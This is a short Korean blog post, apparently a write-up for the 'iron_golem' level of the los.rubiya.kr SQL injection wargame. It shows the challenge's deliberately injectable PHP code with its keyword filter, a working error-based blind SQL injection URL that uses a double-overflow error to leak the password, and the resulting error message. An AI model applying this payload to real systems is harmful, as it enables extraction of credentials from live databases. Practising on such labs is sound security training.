웹찢남

iron_golem-writeup 본문

WEB_HACKING/los.rubiya.kr

iron_golem-writeup

harry595 2020. 1. 29. 20:06

<?php
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(
preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  
$query "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
mysqli_error($db)) exit(mysqli_error($db));
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  
highlight_file(__FILE__);
?>

 

blind sql injection 문제다...

이번엔 참 거짓 구분 하기가 힘든데

에러를 기반으로 공격을 하면 clear가 가능하다!

 

https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20if(ord(substr(pw,1,1))%3E1,1,(9e307*9e307))%23

 

위와 같이 코드를 짜 비교해가며 문제 CLEAR!

참고로 값이 거짓일 경우 error를 표시하는 화면이 보여지게 된다

 

DOUBLE value is out of range in '(9e307 * 9e307)' 

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

hell_fire-writeup  (0) 2020.01.29
dark_eyes-writeup  (0) 2020.01.29
Dragon-writeup  (0) 2019.12.28
Xavis-writeup  (0) 2019.12.28
Nightmare-writeup  (0) 2019.12.28
Comments